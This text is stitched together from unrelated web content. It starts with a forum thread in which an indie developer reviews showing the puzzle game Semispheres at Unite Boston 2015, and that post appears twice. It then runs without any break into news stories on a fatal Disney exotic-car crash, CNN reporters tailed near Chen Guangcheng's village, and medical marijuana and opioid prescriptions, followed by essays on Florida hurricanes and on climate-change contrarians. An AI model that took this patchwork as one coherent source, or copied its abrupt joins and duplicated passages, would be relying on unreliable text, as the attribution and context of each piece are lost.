vividhelix
Level 0 Re: Semispheres [Unite Boston #madewithunity showcase] « Reply #34 on: September 28, 2015, 08:19:50 AM » Boston Unite #madewithunity showcase post-mortem
Last week I had the opportunity to be part of the #madewithunity showcase at the Unite Boston conference. Here's how that went.
Day 0
I travelled to Boston with two friends and members of the local game dev scene. We took a red-eye from Calgary to Toronto, not before taking some time in the airport, keeping with the orange/blue theme, to play some Portal 2 co-op.
We arrived in Boston early on Sunday, one day before the actual conference. Boston is a beautiful city, we took the time to take in the sights, visit the MIT campus, then the Harvard one. After badge pick-up, we ended up at a pre-conference mixer organized by BUG - the Boston Unity Group. The venue was a bit noisy but the event was really well organized and met a bunch of really great people from all over the place. There was some game playtesting going on, talks about inter-city game jams, drinks, food and all around a good time.
Day 1
The first conference day was very interesting. During the opening presentation, the last bit of it was unveiling of the new Made With Unity (link to games section) initiative which at some point had my game up there on the big screen:
Can't really explain how that made me feel, it all seemed very surreal.
After that, I attended some of the talks which were pretty good and took some time to chat with the other #madewithunity showcase exhibitors.
More of keeping with the orange/blue theme by playing Rocket League in the hotel room after the reception was over. I won't go into how awesome Rocket League is.
Day 2
This was showcase day for Semispheres. Got there early to set up, everything went according to plan. I was very happy that I took the time to print out a sign with the game's name as the conference only provided a sign with the company name:
People visited the showcase room in waves, getting very busy between sessions and with a bit of breathing room during talks. Hard to estimate how many people played my game, maybe 50 or a bit more. The feedback was great and reassuring and a stark contrast to the last two events where I showed Semispheres. Really comforting considering this is what I consider to be my target audience.
I took a different approach this time. Normally my playtesting approach is more of the "creeping" kind, where I don't interact at all with the player during playing, rather just "creep" from somewhere behind them, while taking notes. This time though I was more engaged, trying to help people clear through the levels faster. I did this by addressing the two things that are not (yet) made clear while playing the game. The first issue is the limited range of the ping power-up, also where to use it on the first level it's introduced. The second one is the "cosmetic"/projection nature of the portals where being inside a portal doesn't actually take you to the other side, rather it just "projects" you to the other side. This is something that most people don't have a hard time understanding, but it takes a bit of time and playing a puzzle game in a public setting is already stressful for most players.
In terms of level selection, I chose about 15 minutes of gameplay (4 minutes when I speedrun it) which seemed about right, had quite a few people finish all of them. Keeping it short while showing all the different mechanics and types of gameplay was a bit of a challenge. I think the level progression was a bit abrupt, resulting in having to solve moderately difficult puzzles a few minutes into it. I'm still ok with this choice and would probably do it again.
A significant subset of the people playing the game asked if it was out already - I think this means the time taken to polish paid off. Not sure if everyone noticed the mailing list and I didn't want to push it very hard, but most people who finished the game signed up. Once again, kudos to the Ultimate Chicken Horse team for coming up with the paper mailing list sign-up sheet design.
I've had 10-15 people recognize the graphic style from my previous shader articles which was very suprising. Two of them in particular were very thankful of me writing said articles and that was really humbling. I'm still working on finding ways to better own these kinds of compliments - because I'm not a shader expert it still feels a bit weird to get recognition for shader work.
I'm conflicted about the conclusions to be drawn from this experience. On one hand, no new problems were discovered - that's good, right? On the other hand, I'd like to discover problems now rather than later - I'm sure there are still hidden problems.
My only real regret for showcase day was that it was very hectic and I didn't get a chance to check out all the other games on showcase and meet the people behind them. I also wish I had some photos of me while showcasing, but I forgot to ask my friends to take one.
Once again, I went all out with the orange/blue. I had my half orange, half blue tie-dye tshirt, pens for the mailing list subscription sheet were orange and blue, double sided business cards, even the keyboard lighting on my laptop.
Oh, did I mention I got a #madewithunity plaque? Really awesome to have my first award!
Day 3
Last day was spent in recovery mode after the last night's party. Attended a few more talks and started coming to terms with the end of the conference. The full day of showcasing, standing and talking to people was so draining I felt I had little energy to talk during the last day.
Food
Since I'm a foodie, there's a few places I want to mention. We found a froyo place at Harvard which was delicious (also my first time ever having froyo). The Japanese restaurant inside the Verb hotel was amazing. Their ramen was insanely good, we had it multiple times. I also greatly enjoyed their calf brains, breaded and crunchy on the outside. Their "Dogzilla" bacon wrapped hotdog was also really good. Next time I end up in Boston I'll definitely go there for at least one more ramen. We ended the trip with a local clam chowder, which I enjoyed despite me not being really into some types of seafood.
Overall, I don't think I've had a single bad dish while being there which says a lot.
Conclusion
Having attended Unite Vancouver in 2013, I knew Unite Boston was going to be good, but it turned out even better than expected. A bit of everything combined together to make it an amazing experience. 10/10 would Boston again! Last week I had the opportunity to be part of the #madewithunity showcase at the Unite Boston conference. Here's how that went.I travelled to Boston with two friends and members of the local game dev scene. We took a red-eye from Calgary to Toronto, not before taking some time in the airport, keeping with the orange/blue theme, to play some Portal 2 co-op.We arrived in Boston early on Sunday, one day before the actual conference. Boston is a beautiful city, we took the time to take in the sights, visit the MIT campus, then the Harvard one. After badge pick-up, we ended up at a pre-conference mixer organized by BUG - the Boston Unity Group. The venue was a bit noisy but the event was really well organized and met a bunch of really great people from all over the place. There was some game playtesting going on, talks about inter-city game jams, drinks, food and all around a good time.The first conference day was very interesting. During the opening presentation, the last bit of it was unveiling of the new Made With Unity (link to games section) initiative which at some point had my game up there on the big screen:Can't really explain how that made me feel, it all seemed very surreal.After that, I attended some of the talks which were pretty good and took some time to chat with the other #madewithunity showcase exhibitors.More of keeping with the orange/blue theme by playing Rocket League in the hotel room after the reception was over. I won't go into how awesome Rocket League is.This was showcase day for Semispheres. Got there early to set up, everything went according to plan. I was very happy that I took the time to print out a sign with the game's name as the conference only provided a sign with the company name:People visited the showcase room in waves, getting very busy between sessions and with a bit of breathing room during talks. Hard to estimate how many people played my game, maybe 50 or a bit more. The feedback was great and reassuring and a stark contrast to the last two events where I showed Semispheres. Really comforting considering this is what I consider to be my target audience.I took a different approach this time. Normally my playtesting approach is more of the "creeping" kind, where I don't interact at all with the player during playing, rather just "creep" from somewhere behind them, while taking notes. This time though I was more engaged, trying to help people clear through the levels faster. I did this by addressing the two things that are not (yet) made clear while playing the game. The first issue is the limited range of the ping power-up, also where to use it on the first level it's introduced. The second one is the "cosmetic"/projection nature of the portals where being inside a portal doesn't actually take you to the other side, rather it just "projects" you to the other side. This is something that most people don't have a hard time understanding, but it takes a bit of time and playing a puzzle game in a public setting is already stressful for most players.In terms of level selection, I chose about 15 minutes of gameplay (4 minutes when I speedrun it) which seemed about right, had quite a few people finish all of them. Keeping it short while showing all the different mechanics and types of gameplay was a bit of a challenge. I think the level progression was a bit abrupt, resulting in having to solve moderately difficult puzzles a few minutes into it. I'm still ok with this choice and would probably do it again.A significant subset of the people playing the game asked if it was out already - I think this means the time taken to polish paid off. Not sure if everyone noticed the mailing list and I didn't want to push it very hard, but most people who finished the game signed up. Once again, kudos to the Ultimate Chicken Horse team for coming up with the paper mailing list sign-up sheet design.I've had 10-15 people recognize the graphic style from my previous shader articles which was very suprising. Two of them in particular were very thankful of me writing said articles and that was really humbling. I'm still working on finding ways to better own these kinds of compliments - because I'm not a shader expert it still feels a bit weird to get recognition for shader work.I'm conflicted about the conclusions to be drawn from this experience. On one hand, no new problems were discovered - that's good, right? On the other hand, I'd like to discover problems now rather than later - I'm sure there are still hidden problems.My only real regret for showcase day was that it was very hectic and I didn't get a chance to check out all the other games on showcase and meet the people behind them. I also wish I had some photos of me while showcasing, but I forgot to ask my friends to take one.Once again, I went all out with the orange/blue. I had my half orange, half blue tie-dye tshirt, pens for the mailing list subscription sheet were orange and blue, double sided business cards, even the keyboard lighting on my laptop.Oh, did I mention I got a #madewithunity plaque? Really awesome to have my first award!Last day was spent in recovery mode after the last night's party. Attended a few more talks and started coming to terms with the end of the conference. The full day of showcasing, standing and talking to people was so draining I felt I had little energy to talk during the last day.Since I'm a foodie, there's a few places I want to mention. We found a froyo place at Harvard which was delicious (also my first time ever having froyo). The Japanese restaurant inside the Verb hotel was amazing. Their ramen was insanely good, we had it multiple times. I also greatly enjoyed their calf brains, breaded and crunchy on the outside. Their "Dogzilla" bacon wrapped hotdog was also really good. Next time I end up in Boston I'll definitely go there for at least one more ramen. We ended the trip with a local clam chowder, which I enjoyed despite me not being really into some types of seafood.Overall, I don't think I've had a single bad dish while being there which says a lot.Having attended Unite Vancouver in 2013, I knew Unite Boston was going to be good, but it turned out even better than expected. A bit of everything combined together to make it an amazing experience. 10/10 would Boston again! Logged Semispheres - single-player puzzler
Greenlight | @VividHelix | http://semispher.es
Dinosaursssssss
Level 0 Re: Semispheres [Unite Boston #madewithunity showcase post-mortem] « Reply #35 on: September 28, 2015, 09:32:15 AM » Nice, I was at Unite too and though I don't think we actually spoke, I did watch someone play for a bit while I was walking through the showcase. The game looks great, and congrats on being featured in the keynote!
You mention that the Unite crowd was your target audience, and I'm curious what you mean by that. Game developers? Something I've been thinking about a lot recently is whether I find different projects interesting, or latch onto different aspects of projects, than the majority of players; I know personally, when I'm at a show I tend to try and find out how a developer solved an interesting problem, rather than being in the mindset of 'Is this fun, and should I buy it.' So I'm curious, how was your experience demoing for a bunch of pros? How does the feedback you got compare to other what you've heard at other events? Logged @DINOSAURSSSSSSS
Ghost Lord of Ghost Lord of www.FunGhost.com
vividhelix
Level 0 Re: Semispheres [Unite Boston #madewithunity showcase post-mortem] « Reply #36 on: September 28, 2015, 02:42:05 PM » Quote from: Dinosaursssssss on September 28, 2015, 09:32:15 AM Nice, I was at Unite too and though I don't think we actually spoke, I did watch someone play for a bit while I was walking through the showcase. The game looks great, and congrats on being featured in the keynote!
You mention that the Unite crowd was your target audience, and I'm curious what you mean by that. Game developers? Something I've been thinking about a lot recently is whether I find different projects interesting, or latch onto different aspects of projects, than the majority of players; I know personally, when I'm at a show I tend to try and find out how a developer solved an interesting problem, rather than being in the mindset of 'Is this fun, and should I buy it.' So I'm curious, how was your experience demoing for a bunch of pros? How does the feedback you got compare to other what you've heard at other events?
Thanks!
I meant my target audience in a broader sense, as in "people who actually play games". My previous two showcases were in events for the general public and non-game focused audience. That made for some interesting feedback, to put it mildly
A few people were interested in the technical bits which was weird for me, I found myself blabbing away about shaders, shadows and stuff. I'll admit I greatly enjoyed that!
However, somehow I feel most people were wearing their gamer hats more than their gamedev ones, at least while playing the game.
Overall, really good event! Thanks!I meant my target audience in a broader sense, as in "people who actually play games". My previous two showcases were in events for the general public and non-game focused audience. That made for some interesting feedback, to put it mildlyA few people were interested in the technical bits which was weird for me, I found myself blabbing away about shaders, shadows and stuff. I'll admit I greatly enjoyed that!However, somehow I feel most people were wearing their gamer hats more than their gamedev ones, at least while playing the game.Overall, really good event! Logged Semispheres - single-player puzzler
Greenlight | @VividHelix | http://semispher.es© Provided by Associated Press A Lamborghini that was part of an exotic car racing attraction at Walt Disney World crashed into a guardrail, killing a passenger and injuring the driver on Sunday, police said. (WFTV via AP) MANDATORY CREDIT; BEST QUALITY AVAILABLE
ORLANDO, Fla. — A Lamborghini driven by a customer at an exotic-car racing attraction on Walt Disney World property crashed into a guardrail, killing a driving instructor who was in the passenger seat, a spokeswoman said Monday.
Gary Terry was a senior operations manager at the Exotic Driving Experience at Walt Disney World, and he also was a professional driving instructor, said Lauren Swoboda, a spokeswoman for Petty Holdings LLC, which operated the attraction.
"Yesterday we lost a long-time, valued team member of the Exotic Driving Experience family," company officials said in statement. "Our thoughts and prayers are with Gary's family and friends. He will be sorely missed."
Tavon Watson, 24, of nearby Kissimmee, lost control of the vehicle Sunday afternoon, killing Terry, 36, of Davenport, Florida, according to the Florida Highway Patrol.
Watson failed to maneuver the high-powered vehicle through the course and the sports car's passenger side struck the guardrail, authorities said. Terry died at the scene. Watson was treated and released from a hospital.
The attraction lets racecar fans be drivers or passengers in luxurious cars such as Lamborghinis, Porsches or Ferraris. For $200 to $400, customers can drive several laps with a professional driving instructor in the passenger seat. It is located south of the Magic Kingdom parking lots.
A spokeswoman said Disney offers its "deepest sympathy to those involved" in the crash.
Petty Holdings has other Exotic Driving Experience attractions at speedways in Atlanta, Daytona Beach, New Jersey, Kansas, New Hampshire and Texas.
The Exotic Driving Experience, along with its sibling track, the Richard Petty Driving Experience, was slated to close this summer at Disney World for unrelated reasons.
Swoboda said driving classes at the Exotic Driving Experience at Walt Disney World would be put on hold for the rest of the week.Story highlights A CNN team attempts to visit Chen Guangcheng's hometown of Dongshigu
The mention of Chen's name seems to provoke awkward and evasive reactions
Their driver fails to elude men following them in a car, finally gives up and abandons them
The team's attempt to question their followers ends in a scuffle -- and a retreat back to Beijing
As our car moved closer to this tiny village in eastern China, our driver became visibly nervous, looking around for any signs of trouble.
He found it. "They spotted us," he said, hitting the gas.
In the rear-view mirror, an unmarked black sedan appeared out of nowhere, trailing us as we drove past the main entrance to Dongshigu Village. That's the hometown of Chen Guangcheng, a prominent human rights activist whose escape here last week from house arrest has set off diplomatic reverberations worldwide.
Orange traffic cones blocked the narrow path off the main road; a half-dozen burly men stood guard with numerous vehicles parked behind them.
Despite the green trees and fields, the tight security around Dongshigu looked no different from what it looked like during the past two winters, when we previously had tried to enter the village.
In February and December of last year, we had come here to visit Chen after he recounted in a video posted online the abuse he and his family suffered during their confinement at the hands of local officials.
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Each time we were turned back at checkpoints, where plainclothes guards hurled rocks or or threw punches at us.
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Chen, 40, a blind and self-taught legal advocate for alleged forced-abortion victims, escaped last week after being imprisoned at home for more than 18 months. He is now believed to be in the U.S. Embassy in Beijing, creating a burgeoning diplomatic dilemma between China and the United States that coincides with a visit by U.S. Secretary of State Hillary Clinton. She arrived Wednesday morning in Beijing.
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Chen's wife, mother and daughter, who were incarcerated with him but did not escape, have vanished from public view. In a video released online Friday, Chen expressed his deepening worry for the safety of his family.
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"They have been persecuting my family for a long time and my escape would only prompt them into a mode of revenge," he said.
We had come here again on Tuesday to find Chen's family -- but couldn't get close.
With the black sedan tailing us, our driver refused to slow down. He overtook trucks on the wrong side of the main road and raced through open-air markets on bumpy dirt paths.
We had hired him in a nearby town -- and it had taken a lot of cajoling to persuade him to take the job.
"It's too risky," he protested en route to Dongshigu. "I've heard of Chen Guangcheng -- he campaigned against the family-planning policy and was under house arrest."
"I don't know too much," he added quickly. "You should ask people from his town -- they know all about him."
After an hour's high-speed car chase, during which our driver failed to shake our tail, he decided he'd had enough. He dropped us off near a gas station, then he sped off as three policemen approached his car.
While waiting for a new car, we chatted with a trucker who had told us he was from Chen's town, but offered little news.
"Chen Guangcheng?" he asked, appearing uncomfortable hearing the name. "I spend a lot of time away and don't know much about what's going on here."
As we started driving in a new car, our tail resumed its close surveillance. This time, instead of trying to lose them, we decided to try to discover their intention.
We stopped at a roadside farmer's stall, where I bought a watermelon. Then, CNN's Stan Grant and I -- each of us carrying a slice of watermelon as a sort of peace offering -- approached the Volkswagen Passat carrying our pursuers as cameraman Brad Olson shot video of the scene that was unfolding.
The two men seated in the front of the car covered their faces with their hands and ignored my knocking on the driver's window.
I then knocked on the backseat passenger window. A man sporting a white shirt and sunglasses rolled down the tinted window slightly.
He refused to identify himself, but denied following us. "We were just driving around for fun," he said.
"Is this about Chen Guangcheng?" Stan asked in English and I translated.
"I don't know who Chen Guangcheng is," he replied.
"Do you want a slice of watermelon?" I offered.
"No." He looked awkward, rolling up the window.
As we walked away, someone yelled "Stop!" from behind. Turning around, we saw that all three men had gotten out of the car and were rushing toward us.
Scuffling ensued as they tried to grab Brad's camera from his hands. Amid the chaos, we broke free with our camera and jumped into our car.
One of the men picked up the watermelon I had bought and launched it at our car. With pink juice splashed across the rear window and the black car behind us again, we sped off toward the expressway back to Beijing -- wondering about Chen's escape and his family's fate.As prescription drug prices continue to climb, some older Americans appear to be seeking an alternative to mainstream medicine, medical marijuana.
“We are seeing patients that are reporting that they are finding a medication that is meeting their needs where other medications did not," said Steph Sherer with Americans for Safe Access.
Sherer says she's encouraged to see new research published by the journal, Health Affairs. It found the number of prescriptions for painkillers dipped dramatically in states where medical marijuana is legal.
“We know that a lot of our pain patients discover when they start using cannabis not only are they able to treat the pain without as much opioids, but they also have a clarity in their life that they didn't have before," Sherer said.
The study also shows fewer prescriptions resulted in about $165 million in Medicare savings in 2013, but some experts say that figure is misleading.
“Medicare is a 500 billion dollar a year program. When you put that into context that's a savings of.03 percent that's being claimed by the study," said Jeff Zeinsmeister with Smart Approaches to Marijuana.
Zeinsmeister says his organization supports medical cannabis, but says more studies are needed to prove it should be legalized across the country.
“It is very important that it go through the FDA approval process. That they know that the substance that is bought in a pharmacy in Denver is the same thing that you buy in Seattle," Zeinsmeister said.
The Drug Enforcement Agency recently decided not to remove marijuana from its list of most dangerous drugs, but it will allow more research into its possible medical benefits. For the last 50 years the University of Mississippi was the only institution allowed to conduct marijuana research. Now, the government will allow other universities to apply to grow marijuana.What About Florida? Energy Efficiency, Solar Energy, & Regulatory Backwardness In The Sunshine State (Part 1)
November 27th, 2017 by Danny Parker
Part I: Living in Florida: A Legacy of Hurricanes
Florida is known for hurricanes1. As a teenage kid growing up in Miami, we never knew anything about the glory of snow days up North, but we did have Hurricane Days. They usually came in the worst month of Florida’s weather — September. That month, after all, came at the end of a long and hot Florida summer known to be famously muggy and wet. Late August and September are also the rainiest periods in the Liquid Sunshine State, and even worse, school started back before Labor Day.
Once in a while, soggy tropical storms would boil up in the Atlantic: huge patches of gray vapor-laden clouds ringed by thunderstorms eventually rotating into an ugly mess of howling wind and rain. Moving toward Florida, these might earn a few dismally hot and rainy days off from school — and every once in a while — often in August and September, they would morph into full-fledged hurricanes. Back then, hurricanes seemed like a big adventure. During Hurricane Betsy, I learned a 12 year old boy could sail at high speed on a skateboard by merely holding out a pillowcase. As a college-aged youth, there was the lure of hurricane parties, but by the turn of the century, these storms ceased to be fun. Category 5 Hurricane Andrew in 1992 largely destroyed Homestead and South Miami — a tempest so powerful and compact that it was like a huge tornadic wrecking ball that exploded everything it touched.
Hurricanes, of course, make up the hot and humid weather-related history of the subtropical peninsular state. With its long 1,100 miles of coastline exposed to the tepid waters of the Gulf Stream, it is unusually exposed to hurricanes moving west out of the Atlantic and north from the Gulf. With such exposure, there have been tragedies: the destructive Great Miami Hurricane of 1926, the 1935 Labor Day Hurricane that killed 408 in the Florida Keys, and Hurricane Andrew that largely destroyed South Dade City in 1992. Florida hurricanes have been featured in famous films (such as Key Largo, 1948) and even the storied sports team from the University of Miami. In 2004, three separate hurricanes (Charley, Frances, and Jeanne) pummeled Florida one after the other, destroying homes, flooding streets and cars, leaving large parts of the state an ugly tangle of destroyed trees and powerlines — and no power. No electricity in September in Florida means big misery — no refrigeration, no air conditioning, no hot water for showers, not even fans — no nothing. And these powerless rain-soaked days promised just the monotonous roar of generators from the forlorn attempt of sweaty hurricane survivors to run a refrigerator and charge cell phones. The saturated air inside and out was thick with moisture — like living in soup.
Last year in October 2016, it was Category 5 Hurricane Matthew, which made a dangerous approach off the Atlantic in Central Florida. Before grazing Space Coast, Florida, the monster 165 mph storm killed 603 in Haiti, Cuba, and the Dominican Republic. My family and I were chased from Cocoa Beach to friends in Gainesville only to have the massive storm raise havoc there. Over a million people lost power in Florida and Matthew accumulated $10 billion in damage in the US. After losing electricity in Gainesville, we returned to find no power for days in Cocoa Beach.
If 2016 with Hurricane Matthew was bad, 2017 with Hurricane Irma was much worse. The energy story in Florida in 2017 was dominated by the destructiveness of this Category 5 monster hurricane from September 10–12th. The huge storm was the strongest sustained hurricane in the Caribbean since records have been kept, maintaining its peak intensity of 185 mph for 36 hours. Irma tore off roofs, flooded homes, uprooted large trees, and flattened a large swath of the Florida Keys. Large sections of South Florida were transformed into a dangerous morass of flooded streets, splintered palms, and downed power lines. Brickell Avenue in downtown Miami was submerged in waist-deep water. As of November 2017, estimates of the storm’s damages in the US are greater than $65 billion – some estimates run as high as $200 billion – the fourth costliest hurricane on record. Further, when Irma struck, the Atlantic and the Gulf were boiling with tropical storms that were seemingly threatening to spin paths of destruction everywhere.
The image above, taken from a NASA satellite on September 8th, captures the punishing feel of the 2017 hurricane season. On the left in the Gulf is Category 2 Hurricane Katia, in the center the monster Hurricane Irma, and in the east Tropical Storm Jose, which would reach category 3 status just days later. It was the first time in history that two Atlantic hurricanes with winds greater than 150 mph spun through the Atlantic at the same time. A week later, Hurricane Maria would spawn from a marginal Category 1 hurricane and blow into a Category 5 cyclonic buzz saw in a span of just 18 hours. Maria would smash Puerto Rico in a catastrophic disaster of unprecedented dimension.
For the Florida utilities in her path, Hurricane Irma created enormous damage, wrecking the electrical distribution network from the Florida Keys all the way up beyond north Florida. At the height of the devastation from Irma, more than 7 million Florida customers were without power. More than 40% of homes in the state were blacked out; no lights, no electricity.
Over the preceding decade, FPL, Florida’s largest utility, had spent approximately $3 billion on projects to ready for the next big one: concrete poles, clearing vegetation near lines, and seeking to bury more critical power lines. “There is no such thing as a hurricane proof system,” FPL spokesperson Peter Robbins cautioned the Miami Herald. In spite of all that had been done, Florida’s largest utility lost power for 4.4 out of 4.9 million customers, or 90% of them. Many customers were without power for up to a week. Around the clock, indefatigable linemen and linewomen reset poles, re-strung lines, and replaced transformers, soon becoming heroes to millions of Floridians begging to see the air conditioner come back on.
Just the month before Irma, Hurricane Harvey crashed into Houston with a deluge of rainwater and catastrophic flooding damage. Monster hurricanes may be something to get used to as the earth’s seas are warming. While there appears no statistical connection between the frequency of hurricanes and the climate change–related warming of the Gulf and Tropical North Atlantic, the same cannot be said for the intensity and rate of hurricane intensification. “Global warming is tangibly increasing the hurricane risks around the world,” according to Dr. Kerry Emanuel, professor of atmospheric science at the Massachusetts Institute of Technology (MIT). “Climate Change, if unimpeded, will greatly increase the probability of extreme events.” Emanuel was referring to extreme events like Harvey, Irma and Maria — “a hurricane train.”
The underlying theory is unequivocal — warming oceans lead to larger, stronger, and more rapidly intensifying storms. Although hardly conclusive, a simple count of the most powerful storms seems to be have been increasing over the last century. There were eight Category 5 hurricanes recorded from 1931–1960 and then ten from 1961–1990. As of November 2017, we have a total of thirteen Category 5 storms with three years yet to go for the next 30-year period (1991-2020). More telling, however, is evidence from modern satellite observations, which show that hurricane intensity does seem to be increasing and in a statistically robust fashion.
Moreover, relative to earlier in the last century, in recent decades, hurricanes are tending to reach their peak intensity at higher latitudes, with the tracks trending more often toward Florida, Georgia, and the Carolinas.
While the factors influencing hurricane formation are intricate, involving periodic warming and cooling of Pacific waters (El Niño and La Niña) as well as prevailing wind shear and meteorological complexities such as the Madden-Julian oscillation, the fact of the matter is the sea surface temperatures — which have been rising over the last century — play an undeniable role in storm intensity and frequency. In fact, the ocean temperatures over the area where hurricanes form are the key factor.
As the earth has been warming in response to increasing levels of atmospheric carbon dioxide, this carries over to the seas. Indeed, a perilous threshold was reached recently when the World Meteorological Organization announced that CO2 concentrations rose at a record rate to reach 403 parts per million in 2016.
This is the highest level of the heat-trapping greenhouse gas in the last 800,000 years, including all of human history. What will happen at this level is anyone’s guess, but it seems certain we are in for more warming in the future.
By one estimation, the United Nations Environment Program’s (UNEP) Emissions Gap report, even if all of the pledges for the Paris Accord are met, we still appear to be in for 3.20°C (5.80°F) warming – which will just make things increasingly dangerous. All of the climate change–related data suggest greater potential intensity of hurricanes in the subtropics as the potential thermodynamic limit for hurricane intensity rises with temperature. Basic theory suggests a 3 m/s (7 mph) increase in average peak hurricane wind speeds for every 1°C (1.8°F) of sea surface temperature increase. Moreover, enthalpy-related physics (the Clausius-Clayeron equations) predict that with global warming, future hurricanes will produce substantially more rain (7% more water vapor per 1°C warming). Hurricane Harvey, the largest rain event in the US history, likely portends the wetter nature for hurricanes to come.
Meanwhile, we can see that ocean temperatures have a remarkable association with the formation of more powerful hurricanes in the Atlantic:
Since the 1970s, sea surface temperatures around the earth have increased by an average of ~0.60°C (1.10°F). They are estimated to have risen by about twice this much since pre-industrial times. Although half a degree doesn’t sound like much, this represents an enormous increase in ocean heat content, with large implications for the formation of tropical cyclones. A large subtropical hurricane is an ocean-borne, primarily latent heat engine, which operates at approximately 3 trillion watts. Not surprisingly, the prime incubation zone for tropical storms and hurricanes in the Tropical North Atlantic was the third warmest on record (only exceeded by 2005 and 2010). And adversely for Florida, the West Caribbean has had the strongest storms since they have been tracked.
Ocean surface temperatures in the path of Irma exceeded 86°F (30.0°C) at the time it approached Florida in September, and temperature in the Strait of Florida reached 90°F (32.2°C)on September 10th when Irma was intensifying as it bore down on Cudjoe Key.
These very high sea surface temperatures support the development of the very most powerful Category 5 storms. With warmer oceans, larger, wetter, and more powerful hurricanes will likely become more common, and given Florida’s storied history with them, we might as well be ready. Indeed, superimposing the tracks of hurricanes over the coastal state of Florida suggests a gauntlet of storms where strikes are inevitable. Even more, as Emanuel of MIT cautions, “with climate change, past risk may not be a good indication for future risk.”
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face prolonged droughts and severe wildfires in some regions, along with—seemingly paradoxically—intense precipitation and heavy flooding in others. Weather shocks pose huge risks to global food and water security, further increasing the dangers of poverty and disease—all well-established drivers of political instability and conflict. Much of the recent progress in bolstering a global middle class now faces reversal. The World Bank warns that “without bold action now, the warming planet threatens to put prosperity out of reach of millions and roll back decades of development.” While every region on the planet faces unique challenges in adapting, the poor and most vulnerable will be hit hardest. UNICEF estimates that by 2050, twenty-five million more children will be malnourished due to climate change. Already battling rising seas today, local officials in some Pacific island nations are making long-term preparations to resettle hundreds of thousands of people in programs deemed “migration with dignity.”
IPCC assessment reports represent the most current peer-reviewed literature on climate change trends. Thousands of scientists from around the globe participate in the review, making it an inherently cautious process, and just about anybody is afforded the opportunity to submit a comment or request points of clarification. Despite it’s repute, the IPCC has made mistakes, many of which climate deniers cling to. One glaring instance was in 2010, after the fourth assessment report, when the IPCC admitted that it had published an incorrect warning of the vanishing of Himalayan glaciers by the year 2035; the original research estimated that the glaciers would be gone by 2350. An error that likely began as a typo was made worse by sloppiness and a cagey admission of fault. For scientific research as a whole, the peer review method as a process of verification is indeed flawed—there is a crisis of replicability and the pressures of academic competition are real—but all science is provisional, and outright rejection of an entire field is not skepticism, but something else entirely.
The United Nations aren’t the only ones that say the planet is warming and we are at fault. Back in 2009, eighteen leading scientific organizations sent a letter to U.S. senators insisting that the climate is changing, “human activities are the primary driver,” impacts are projected to worsen “substantially,” and “if we are to avoid the most severe impacts, emissions of greenhouse gases must be dramatically reduced.” Separately, NASA, the American Association for the Advancement of Science, the National Academy of Sciences (NAS), and the American Meteorological Society—to name a few—have all released public statements warning of the risks of man-made climate change. Moreover, a 2010 survey of studies published in the official journal of the NAS showed that 97 percent of climate researchers support the tenets of human-caused warming as outlined by the IPCC, and that “relative climate expertise and scientific prominence of the researchers unconvinced of anthropogenic climate change are substantially below that of the convinced researchers.”
Many apply the term skeptic to those who reject the scientific consensus on climate change. But this is wrong. Skepticism is inherent to the scientific method. A better term is climate change denier or contrarian. Aaron M. McCright, a sociologist at Michigan State University, is right when he defines “climate contrarians” as those who challenge, often with financial support from the fossil fuel industry and conservative think tanks, what they see as a false consensus of mainstream climate science. Armed with pseudoscience, contrarians are a political insurgency tasked, not with winning the scientific debate itself, but rather, with distracting the conversation just enough to hold back tangible progress.
It’s a tactic we’ve seen before. In the 1960s, tobacco industry executives spearheaded a concerted effort, led by unscrupulous scientists, to make opaque the otherwise clear risks to public health posed by smoking. “Doubt is our product,” read a now infamous memo sent by a big tobacco executive.
Similarly, conservative think tanks today promote doubt through a series of tactics that hinder public understanding and burden the scientific process. Among the most notorious are groups like the Cato Institute, the American Legislative Exchange Council, and the Heartland Institute—all claiming 501(c)(3) status that renders them nearly tax-exempt and does not require them to disclose their donors.
These activist organizations undertake tactics such as drafting model legislation against policies favoring renewable energies, and flooding climate researchers with Freedom of Information requests that slow down research. The Heartland Institute, for its part, sponsors entire conferences dedicated to climate change denial. They came under fire last year after running a billboard of Unabomber Ted Kaczynski with the caption, “I still believe in Global Warming. Do you?”
One of the biggest successes for climate change contrarians was the faux-scandal Climategate, which ripped across news feeds in 2009, just before world leaders were set to meet for the COP15 Conference on Climate Change in Copenhagen. It began when emails between climate researchers were stolen from hacked university servers. Conservative blogs sorted through the content, and pulled quotes out of context that suggested scientists were hiding data. At least six separate inquiries into the scandal exonerated researchers of wrongdoing. But the damage had already been done; the banal details of reality simply do not make for such compelling headlines.
One man, a professional contrarian, sticks out among the ever-slimming group of climate change deniers. Christopher Monckton, officially titled the third Viscount Monckton of Brenchley, has made a political career out of touring the globe in denial. Though he wields less and less influence as the years pass, he represents the quintessential climate contrarian in its most hypnotic and potent form. He is the chief policy advisor of the ambiguously-named Science and Public Policy Institute, and his profile is listed on the Heartland Institute’s page of experts.
Charismatic and plainly likeable, Lord Monckton woos audiences with seemingly sensible explanations of the climate fraud. He has a habit of cherry-picking scientific data to support his own view that global warming is overblown—data courtesy of scientists who often go on the record to say that they’ve been misquoted and taken out of context. The Englishman is particularly popular at Tea Party rallies, and though he’s not published a single peer-reviewed scientific paper, on any topic, he’s been invited to testify as a climate expert in front of Congress on four separate occasions.
In 2012, at COP18 in Doha [Qatar], Monckton slipped into the chair of the Myanmar climate envoy and delivered a brief speech asserting that there has been no observed global warming for a full 16 years. Further, he declared that the costs of mitigation and adaptation would far outweigh the costs of doing nothing (these have long been his go-to arguments). He was escorted from the building and given a lifetime ban from attending U.N. climate talks—which, in truth, only serves to strengthen his argument that the climate change community is bent on boxing out voices like his own.
Monckton tells me that the global warming scare is driven more by politics than by science. He blames a small group of bad scientists for promoting the scare, accusing them of seeking personal gain and the promotion of a hard left ideology. “A poisonous faction has bent their data and results so as to spin up a grain of truth into a mountain of scary nonsense for the sake of politics and profit,” he says. He warns that China now pays lip service to the climate scam in order to shut down Western economies, and that “Russian agents” are guilty of “peddling the nonsense that fracking [hydraulic fracturing to extract natural gas] is dangerous and environmentally damaging.”
And, apparently, the conspiracy is right here in our own backyard: “The Socialist wing in politics, Mr. Obama being a notable instance, promotes the climate scare not because it is true (beyond a grain of truth, most of it is self-evidently false), but because it is a pretext for accelerating the dismal policy of Socialism, Fascism, and Communism everywhere: the transfer of wealth and power from the poor to the rich, from the little guy to the big guy, from the sans-culottes to the cuisses-de- cuir, from us to them,” he says. The conflation of opposing political ideologies aside, Monckton does, ironically, raise an interesting question: Has the scientific basis for climate change been besmirched by politics?
